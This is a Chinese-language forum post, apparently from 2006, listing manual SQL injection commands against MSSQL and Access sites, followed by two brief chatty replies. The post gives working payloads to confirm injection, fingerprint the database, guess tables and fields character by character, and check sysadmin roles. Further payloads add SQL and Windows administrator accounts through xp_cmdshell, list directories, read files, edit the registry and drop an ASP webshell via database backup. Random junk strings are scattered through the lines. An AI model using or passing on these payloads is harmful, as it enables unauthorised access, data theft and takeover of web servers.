社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5313阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 Id1de>:;  
  2.初步判断是否是mssql ;and user>0 _6!iv  
*cZ7?  
  3.注入参数是字符'and [查询条件] and ''=' M@JW/~p'  
nDcH;_<;9a  
  4.搜索时没过滤参数的'and [查询条件] and '%25'=' 6LrI,d  
*R}p9;dpO  
  5.判断数据库系统 ]ddH>y&o  
V-3;7  
  ;and (select count(*) from sysobjects)>0 mssql Cp+tcrd_s  
Fi/`3A@68  
  ;and (select count(*) from msysobjects)>0 access :}2Tof2  
hBaF^AWW  
j\"d/{7Q  
Lr 9E02  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 k<x7\T  
1B gHkDW  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 3?D{iMRM  
m&yHtnt  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 F"cZ$TL]  
3xN_z?Rg  
  9.(1)猜字段的ascii值(access) !1%Sf.`!_  
I5)$M{#a  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 B" _Xst  
'14 86q@[$  
  (2)猜字段的ascii值(mssql) v,Zoy|Lu  
[kTckZv  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 nch#DE8 2  
Khl0~  
  10.测试权限结构(mssql) 1/,~0N9  
L)8%*X  
U_hzSf  
g6+5uvpd  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- F("|SOhc  
AQ0zsy  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- =J"c'Z>.  
aK_k'4YTm  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- }u1h6rd `  
'Fc$?$c\  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- \%B7M]P  
tt CC] Q  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- r&ys?@+G  
VoQhzp6&  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ty:{e]e  
=f23lA  
  ;and 1=(select IS_MEMBER('db_owner'));-- JNT|h zV  
'MW O3  
|tU wlc>  
rxs:)# ?A  
  11.添加mssql和系统的帐户 f3 imkZ(  
6oFA=CjU{  
  ;exec master.dbo.sp_addlogin username;-- oIQ$98M  
  ;exec master.dbo.sp_password null,username,password;-- #2lvRJB  
+=d=  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 11 k}Ly  
HGDiwA  
  ;exec master.dbo.xp_cmdshell 'net user username password G*,7pc  
jtq ^((Ux  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- fQwLx  
\/C5L:|p_  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- wCV~9JTJ!  
u?rX:KkS  
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- fdHFSnQ g  
~]`U)Aw  
d(:I~m  
m>3\1`ZF~<  
  12.(1)遍历目录 o?c NH  
vR>GE? s6  
  ;create table dirs(paths varchar(100), id int) lauq(aD_C  
ms\\R@R  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' ;.rY`<|  
JStEOQF4  
  ;and (select top 1 paths from dirs)>0 ^.  
CJDNS21m  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) HIt9W]koO  
o9yUJ@ :i  
~w9`l8/0  
zD<8.AIGC  
  (2)遍历目录 gIIF17|Z  
6__HqBQ  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ^t*Ba>A  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 1*'gaa&y  
9g'6zB  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 (i?9/8I  
9Zmq7a E  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 w~jm0jK]  
[@B!N+P5;  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 A_e5Vb ,u.  
EcSu[b  
3xKgj5M  
[0]J 2  
  13.mssql中的存储过程 'm"Ez'sS  
.TDg`O24c,  
  xp_regenumvalues 注册表根键, 子键 YXh!+}  
Zz]/4 4t  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ]0SqLe  
g[ uf e<  
  xp_regread 根键,子键,键值名 O(9*VoD  
gjFQDrz(  
  ;exec xp_regread #/8 Na v  
`B:hXeI  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 rhX?\_7o  
CJw zjH  
  xp_regwrite 根键,子键, 值名, 值类型, 值 o*"Q{Xh#Qd  
\m1^sFMZ  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 d2)]6)z6  
?Iij[CbU  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 XW\ 3ttx  
4Ssy (gt  
  xp_regdeletevalue 根键,子键,值名 Fey^hx w =  
YfMs~}h,  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ue4 {h  
~O!E&~  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 -v|lM8  
k,; (`L  
*J >6i2M,u  
yF_/.mI  
  14.mssql的backup创建webshell $!_}d  
yD`pUE$  
  use model <^'IC9D]  
4x?I,cAN  
  create table cmd(str image); ~2yhZ  
y\[* mgl:  
  insert into cmd(str) values (''); ,2i1 4H  
Tj\hAcD  
  backup database model to disk='c:\l.asp'; Fg}t{e]3a  
]scr@e  
'A\0^EvVv  
O*B9 Bah  
  15.mssql内置函数 Snp(&TD<<  
~V?\@R:g  
  ;and (select @@version)>0 获得Windows的版本号 %K7;ePu  
%qqeL   
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa tB4yj_ZF  
qPJSVo  
  ;and (select user_name())>0 爆当前系统的连接用户 %K06owV(S)  
~?)y'?  
  ;and (select db_name())>0 得到当前连接的数据库 AMO{ee7Po  
L|1~'Fz#w  
tL1\q Qg  
[Ls%nz|  
  16.简洁的webshell /TIt-c  
t("koA=.  
  use model '?fGI3b~/  
(v:8p!QN  
  create table cmd(str image); C7}iwklcsa  
klY, @  
  insert into cmd(str) values (''); yJlRW!@&:  
z(2G"}  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
枫
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
描述
快速回复

您目前还是游客,请 登录 或 注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八